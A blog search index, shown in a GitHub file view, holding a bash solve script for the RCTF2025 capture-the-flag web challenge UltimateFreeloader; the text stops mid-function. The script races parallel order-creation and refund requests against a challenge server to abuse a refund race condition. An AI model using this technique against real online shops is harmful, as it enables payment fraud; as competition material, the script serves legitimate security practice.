-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsearch.xml
More file actions
86 lines (41 loc) · 98.3 KB
/
Copy pathsearch.xml
File metadata and controls
86 lines (41 loc) · 98.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>RCTF2025-script</title>
<link href="/2025/11/17/RCTF2025-script/"/>
<url>/2025/11/17/RCTF2025-script/</url>
<content type="html"><![CDATA[<p>这里是 RCTF2025 Web 题目 UltimateFreeloader 的脚本。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/usr/bin/env bash</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ================== 基本配置 ==================</span></span><br><span class="line">BASE_URL=<span class="string">"http://61.147.171.35:62990"</span></span><br><span class="line">DEFAULT_PRODUCT_ID=<span class="string">"550e8400-e29b-41d4-a716-446655440003"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ================== 上下文状态(类似 Python 那个 Context) ==================</span></span><br><span class="line">TOKEN=<span class="string">""</span></span><br><span class="line">LAST_ORDER_ID=<span class="string">""</span></span><br><span class="line">PRODUCT_ID=<span class="string">"<span class="variable">$DEFAULT_PRODUCT_ID</span>"</span></span><br><span class="line">QUANTITY=1</span><br><span class="line">COUPON_ID=<span class="string">""</span></span><br><span class="line">REFUND_SLEEP=<span class="string">"0.0005"</span></span><br><span class="line">IGNORED_ORDER_IDS=<span class="string">""</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ================== 工具函数 ==================</span></span><br><span class="line"><span class="function"><span class="title">pretty_print</span></span>() {</span><br><span class="line"> <span class="built_in">local</span> title=<span class="string">"<span class="variable">$1</span>"</span></span><br><span class="line"> <span class="built_in">local</span> data=<span class="string">"<span class="variable">$2</span>"</span></span><br><span class="line"> <span class="built_in">echo</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"===== <span class="variable">${title}</span> ====="</span></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">command</span> -v jq >/dev/null 2>&1; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<span class="variable">$data</span>"</span> | jq . 2>/dev/null || <span class="built_in">echo</span> <span class="string">"<span class="variable">$data</span>"</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<span class="variable">$data</span>"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"================================"</span></span><br><span class="line"> <span class="built_in">echo</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">api_post</span></span>() {</span><br><span class="line"> <span class="built_in">local</span> path=<span class="string">"<span class="variable">$1</span>"</span></span><br><span class="line"> <span class="built_in">local</span> json_data=<span class="string">"<span class="variable">$2</span>"</span></span><br><span class="line"> <span class="built_in">local</span> url=<span class="string">"<span class="variable">${BASE_URL}</span><span class="variable">${path}</span>"</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> auth_header=()</span><br><span class="line"> <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$TOKEN</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> auth_header=(-H <span class="string">"Authorization: Bearer <span class="variable">${TOKEN}</span>"</span>)</span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$json_data</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> curl -s -S -X POST <span class="string">"<span class="variable">$url</span>"</span> \</span><br><span class="line"> -H <span class="string">"Content-Type: application/json"</span> \</span><br><span class="line"> <span class="string">"<span class="variable">${auth_header[@]}</span>"</span> \</span><br><span class="line"> -d <span class="string">"<span class="variable">$json_data</span>"</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> curl -s -S -X POST <span class="string">"<span class="variable">$url</span>"</span> \</span><br><span class="line"> <span class="string">"<span class="variable">${auth_header[@]}</span>"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">api_get</span></span>() {</span><br><span class="line"> <span class="built_in">local</span> path=<span class="string">"<span class="variable">$1</span>"</span></span><br><span class="line"> <span class="built_in">local</span> url=<span class="string">"<span class="variable">${BASE_URL}</span><span class="variable">${path}</span>"</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> auth_header=()</span><br><span class="line"> <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$TOKEN</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> auth_header=(-H <span class="string">"Authorization: Bearer <span class="variable">${TOKEN}</span>"</span>)</span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> curl -s -S -X GET <span class="string">"<span class="variable">$url</span>"</span> <span class="string">"<span class="variable">${auth_header[@]}</span>"</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">show_state</span></span>() {</span><br><span class="line"> <span class="built_in">printf</span> <span class="string">'\n===== 当前上下文状态 =====\n'</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"TOKEN = <span class="variable">$TOKEN</span>"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"PRODUCT_ID = <span class="variable">$PRODUCT_ID</span>"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"QUANTITY = <span class="variable">$QUANTITY</span>"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"COUPON_ID = <span class="variable">$COUPON_ID</span>"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"LAST_ORDER_ID = <span class="variable">$LAST_ORDER_ID</span>"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"REFUND_SLEEP = <span class="variable">${REFUND_SLEEP}</span>s"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"IGNORED_ORDER_IDS= <span class="variable">$IGNORED_ORDER_IDS</span>"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"================================"</span></span><br><span class="line"> <span class="built_in">echo</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment"># ================== 业务函数 ==================</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">register_user</span></span>() {</span><br><span class="line"> <span class="comment"># 生成随机用户名 / 邮箱</span></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">command</span> -v uuidgen >/dev/null 2>&1; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">local</span> username email</span><br><span class="line"> username=<span class="string">"<span class="subst">$(uuidgen)</span>"</span></span><br><span class="line"> email=<span class="string">"<span class="subst">$(uuidgen)</span>@example.com"</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">local</span> ts</span><br><span class="line"> ts=<span class="string">"<span class="subst">$(date +%s)</span>"</span></span><br><span class="line"> username=<span class="string">"user-<span class="variable">${ts}</span>-<span class="variable">$RANDOM</span>"</span></span><br><span class="line"> email=<span class="string">"mail-<span class="variable">${ts}</span>-<span class="variable">$RANDOM</span>@example.com"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> <span class="built_in">local</span> password=<span class="string">"123"</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> payload</span><br><span class="line"> payload=$(<span class="built_in">printf</span> <span class="string">'{"username":"%s","email":"%s","password":"%s"}'</span> <span class="string">"<span class="variable">$username</span>"</span> <span class="string">"<span class="variable">$email</span>"</span> <span class="string">"<span class="variable">$password</span>"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[*] 注册用户:<span class="variable">$username</span> / <span class="variable">$email</span>"</span></span><br><span class="line"> <span class="built_in">local</span> resp</span><br><span class="line"> resp=$(api_post <span class="string">"/api/user/register"</span> <span class="string">"<span class="variable">$payload</span>"</span>)</span><br><span class="line"> pretty_print <span class="string">"注册结果"</span> <span class="string">"<span class="variable">$resp</span>"</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">command</span> -v jq >/dev/null 2>&1; <span class="keyword">then</span></span><br><span class="line"> TOKEN=$(<span class="built_in">echo</span> <span class="string">"<span class="variable">$resp</span>"</span> | jq -r <span class="string">'.data.token // empty'</span> 2>/dev/null)</span><br><span class="line"> <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$TOKEN</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[+] 已解析并保存 token: <span class="variable">$TOKEN</span>"</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 未从返回结果中解析到 token"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[!] 未安装 jq,无法自动解析 token,请手动设置。"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">set_token</span></span>() {</span><br><span class="line"> <span class="built_in">read</span> -rp <span class="string">"请输入 token: "</span> t</span><br><span class="line"> TOKEN=<span class="string">"<span class="variable">$t</span>"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[+] 已更新 token"</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">set_params</span></span>() {</span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"当前 productId = <span class="variable">$PRODUCT_ID</span>"</span></span><br><span class="line"> <span class="built_in">read</span> -rp <span class="string">"输入新的 productId(直接回车保留当前): "</span> p</span><br><span class="line"> <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$p</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> PRODUCT_ID=<span class="string">"<span class="variable">$p</span>"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"当前 quantity = <span class="variable">$QUANTITY</span>"</span></span><br><span class="line"> <span class="built_in">read</span> -rp <span class="string">"输入新的 quantity(整数,回车保留当前): "</span> q</span><br><span class="line"> <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$q</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="keyword">if</span> [[ <span class="string">"<span class="variable">$q</span>"</span> =~ ^[0-9]+$ ]]; <span class="keyword">then</span></span><br><span class="line"> QUANTITY=<span class="string">"<span class="variable">$q</span>"</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] quantity 必须为整数,已忽略修改"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"当前 couponId = <span class="variable">$COUPON_ID</span>"</span></span><br><span class="line"> <span class="built_in">read</span> -rp <span class="string">"输入新的 couponId(回车表示不使用优惠券): "</span> c</span><br><span class="line"> <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$c</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> COUPON_ID=<span class="string">"<span class="variable">$c</span>"</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> COUPON_ID=<span class="string">""</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[+] 参数已更新"</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">create_order</span></span>() {</span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$TOKEN</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 请先设置 token(菜单 1 或 2)"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> coupon_json</span><br><span class="line"> <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$COUPON_ID</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> coupon_json=$(<span class="built_in">printf</span> <span class="string">'"%s"'</span> <span class="string">"<span class="variable">$COUPON_ID</span>"</span>)</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> coupon_json=<span class="string">"null"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> payload</span><br><span class="line"> payload=$(<span class="built_in">printf</span> <span class="string">'{"productId":"%s","quantity":%s,"couponId":%s}'</span> \</span><br><span class="line"> <span class="string">"<span class="variable">$PRODUCT_ID</span>"</span> <span class="string">"<span class="variable">$QUANTITY</span>"</span> <span class="string">"<span class="variable">$coupon_json</span>"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> resp</span><br><span class="line"> resp=$(api_post <span class="string">"/api/order/create"</span> <span class="string">"<span class="variable">$payload</span>"</span>)</span><br><span class="line"> pretty_print <span class="string">"创建订单结果"</span> <span class="string">"<span class="variable">$resp</span>"</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">command</span> -v jq >/dev/null 2>&1; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">local</span> oid</span><br><span class="line"> oid=$(<span class="built_in">echo</span> <span class="string">"<span class="variable">$resp</span>"</span> | jq -r <span class="string">'.data.order.id // empty'</span> 2>/dev/null)</span><br><span class="line"> <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$oid</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> LAST_ORDER_ID=<span class="string">"<span class="variable">$oid</span>"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[+] 已保存最近订单 ID: <span class="variable">$LAST_ORDER_ID</span>"</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 未从返回结果中解析到订单 ID"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">refund_order</span></span>() {</span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$TOKEN</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 请先设置 token(菜单 1 或 2)"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> oid</span><br><span class="line"> <span class="built_in">read</span> -rp <span class="string">"输入要退款的订单 ID(回车使用 last_order_id=<span class="variable">$LAST_ORDER_ID</span>): "</span> oid</span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$oid</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> oid=<span class="string">"<span class="variable">$LAST_ORDER_ID</span>"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$oid</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 没有可用的订单 ID"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> resp</span><br><span class="line"> resp=$(api_post <span class="string">"/api/order/refund/<span class="variable">${oid}</span>"</span> <span class="string">""</span>)</span><br><span class="line"> pretty_print <span class="string">"订单退款结果"</span> <span class="string">"<span class="variable">$resp</span>"</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">user_info</span></span>() {</span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$TOKEN</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 请先设置 token(菜单 1 或 2)"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> resp</span><br><span class="line"> resp=$(api_get <span class="string">"/api/user/info"</span>)</span><br><span class="line"> pretty_print <span class="string">"当前用户信息 (/api/user/info)"</span> <span class="string">"<span class="variable">$resp</span>"</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">my_orders</span></span>() {</span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$TOKEN</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 请先设置 token(菜单 1 或 2)"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> resp</span><br><span class="line"> resp=$(api_get <span class="string">"/api/order/my"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"===== 当前用户订单列表(只显示 id / status) ====="</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">command</span> -v jq >/dev/null 2>&1; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<span class="variable">$resp</span>"</span> | jq -r <span class="string">'</span></span><br><span class="line"><span class="string"> if .data == null then</span></span><br><span class="line"><span class="string"> "无 data 字段"</span></span><br><span class="line"><span class="string"> elif (.data | type) == "array" then</span></span><br><span class="line"><span class="string"> .data[] | "id=\(.id) status=\(.status)"</span></span><br><span class="line"><span class="string"> else</span></span><br><span class="line"><span class="string"> .data | "id=\(.id) status=\(.status)"</span></span><br><span class="line"><span class="string"> end</span></span><br><span class="line"><span class="string"> '</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[!] 未安装 jq,无法只提取 id/status,原始响应如下:"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<span class="variable">$resp</span>"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"=========================================="</span></span><br><span class="line"> <span class="built_in">echo</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">threaded_once</span></span>() {</span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$TOKEN</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 请先设置 token(菜单 1 或 2)"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$LAST_ORDER_ID</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 请先创建至少一个订单(菜单 4),以便有 orderId 可以退款"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> oid=<span class="string">"<span class="variable">$LAST_ORDER_ID</span>"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[*] 开始一次并发:createOrder(无券) + refundOrder(<span class="variable">$oid</span>)"</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> tmp_create tmp_refund</span><br><span class="line"> tmp_create=$(<span class="built_in">mktemp</span>)</span><br><span class="line"> tmp_refund=$(<span class="built_in">mktemp</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># ⚠ 并发下单不带优惠券,couponId 固定为 null</span></span><br><span class="line"> <span class="built_in">local</span> payload</span><br><span class="line"> payload=$(<span class="built_in">printf</span> <span class="string">'{"productId":"%s","quantity":%s,"couponId":null}'</span> \</span><br><span class="line"> <span class="string">"<span class="variable">$PRODUCT_ID</span>"</span> <span class="string">"<span class="variable">$QUANTITY</span>"</span>)</span><br><span class="line"></span><br><span class="line"> (</span><br><span class="line"> api_post <span class="string">"/api/order/create"</span> <span class="string">"<span class="variable">$payload</span>"</span> ><span class="string">"<span class="variable">$tmp_create</span>"</span></span><br><span class="line"> ) &</span><br><span class="line"></span><br><span class="line"> (</span><br><span class="line"> <span class="built_in">sleep</span> 0.0005</span><br><span class="line"> api_post <span class="string">"/api/order/refund/<span class="variable">${oid}</span>"</span> <span class="string">""</span> ><span class="string">"<span class="variable">$tmp_refund</span>"</span></span><br><span class="line"> ) &</span><br><span class="line"></span><br><span class="line"> <span class="built_in">wait</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"----- create_order 响应 -----"</span></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">command</span> -v jq >/dev/null 2>&1; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">cat</span> <span class="string">"<span class="variable">$tmp_create</span>"</span> | jq . 2>/dev/null || <span class="built_in">cat</span> <span class="string">"<span class="variable">$tmp_create</span>"</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">cat</span> <span class="string">"<span class="variable">$tmp_create</span>"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"----- refund_order 响应 -----"</span></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">command</span> -v jq >/dev/null 2>&1; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">cat</span> <span class="string">"<span class="variable">$tmp_refund</span>"</span> | jq . 2>/dev/null || <span class="built_in">cat</span> <span class="string">"<span class="variable">$tmp_refund</span>"</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">cat</span> <span class="string">"<span class="variable">$tmp_refund</span>"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">rm</span> -f <span class="string">"<span class="variable">$tmp_create</span>"</span> <span class="string">"<span class="variable">$tmp_refund</span>"</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">threaded_loop</span></span>() {</span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$TOKEN</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 请先设置 token(菜单 1 或 2)"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$LAST_ORDER_ID</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 请先创建至少一个订单(菜单 4),以便有 orderId 可以退款"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">read</span> -rp <span class="string">"输入循环轮数(例如 50 / 100): "</span> rounds</span><br><span class="line"> <span class="keyword">if</span> ! [[ <span class="string">"<span class="variable">$rounds</span>"</span> =~ ^[0-9]+$ ]]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 轮数必须是整数"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> i</span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[*] 开始循环并发测试,共 <span class="variable">${rounds}</span> 轮"</span></span><br><span class="line"> <span class="keyword">for</span> ((i = <span class="number">1</span>; i <= rounds; i++)); <span class="keyword">do</span></span><br><span class="line"> <span class="built_in">echo</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"---- Round <span class="variable">${i}</span>/<span class="variable">${rounds}</span> ----"</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> tmp_create tmp_refund</span><br><span class="line"> tmp_create=$(<span class="built_in">mktemp</span>)</span><br><span class="line"> tmp_refund=$(<span class="built_in">mktemp</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># payload for create_order</span></span><br><span class="line"> <span class="built_in">local</span> coupon_json payload</span><br><span class="line"> <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$COUPON_ID</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> coupon_json=$(<span class="built_in">printf</span> <span class="string">'"%s"'</span> <span class="string">"<span class="variable">$COUPON_ID</span>"</span>)</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> coupon_json=<span class="string">"null"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> payload=$(<span class="built_in">printf</span> <span class="string">'{"productId":"%s","quantity":%s,"couponId":%s}'</span> \</span><br><span class="line"> <span class="string">"<span class="variable">$PRODUCT_ID</span>"</span> <span class="string">"<span class="variable">$QUANTITY</span>"</span> <span class="string">"<span class="variable">$coupon_json</span>"</span>)</span><br><span class="line"></span><br><span class="line"> (</span><br><span class="line"> api_post <span class="string">"/api/order/create"</span> <span class="string">"<span class="variable">$payload</span>"</span> ><span class="string">"<span class="variable">$tmp_create</span>"</span></span><br><span class="line"> ) &</span><br><span class="line"></span><br><span class="line"> (</span><br><span class="line"> <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$REFUND_SLEEP</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">sleep</span> <span class="string">"<span class="variable">$REFUND_SLEEP</span>"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> api_post <span class="string">"/api/order/refund/<span class="variable">${LAST_ORDER_ID}</span>"</span> <span class="string">""</span> ><span class="string">"<span class="variable">$tmp_refund</span>"</span></span><br><span class="line"> ) &</span><br><span class="line"></span><br><span class="line"> <span class="built_in">wait</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">command</span> -v jq >/dev/null 2>&1; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">local</span> msg1 msg2</span><br><span class="line"> msg1=$(<span class="built_in">cat</span> <span class="string">"<span class="variable">$tmp_create</span>"</span> | jq -r <span class="string">'.message // .msg // empty'</span> 2>/dev/null)</span><br><span class="line"> msg2=$(<span class="built_in">cat</span> <span class="string">"<span class="variable">$tmp_refund</span>"</span> | jq -r <span class="string">'.message // .msg // empty'</span> 2>/dev/null)</span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[create_order] message = <span class="variable">${msg1}</span>"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[refund_order] message = <span class="variable">${msg2}</span>"</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[create_order] <span class="subst">$(cat <span class="string">"<span class="variable">$tmp_create</span>"</span>)</span>"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[refund_order] <span class="subst">$(cat <span class="string">"<span class="variable">$tmp_refund</span>"</span>)</span>"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">rm</span> -f <span class="string">"<span class="variable">$tmp_create</span>"</span> <span class="string">"<span class="variable">$tmp_refund</span>"</span></span><br><span class="line"> <span class="keyword">done</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[*] 循环并发测试结束"</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">coupon_available</span></span>() {</span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$TOKEN</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[-] 请先设置 token(菜单 1 或 2)"</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> resp</span><br><span class="line"> resp=$(api_get <span class="string">"/api/coupon/available"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"===== 可用优惠券列表 (/api/coupon/available) ====="</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ! <span class="built_in">command</span> -v jq >/dev/null 2>&1; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"[!] 未安装 jq,无法解析结构,原始响应如下:"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<span class="variable">$resp</span>"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"==============================================="</span></span><br><span class="line"> <span class="built_in">return</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># 打印简要列表:索引 + id + status/其他字段(根据你的实际结构改)</span></span><br><span class="line"> <span class="comment"># 假设接口返回形如:{ "data": [ { "id": "...", "status": "...", ... }, ... ] }</span></span><br><span class="line"> <span class="built_in">local</span> count</span><br><span class="line"> count=$(<span class="built_in">echo</span> <span class="string">"<span class="variable">$resp</span>"</span> | jq <span class="string">'.data | length'</span> 2>/dev/null)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$count</span>"</span> ] || [ <span class="string">"<span class="variable">$count</span>"</span> -eq 0 ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span 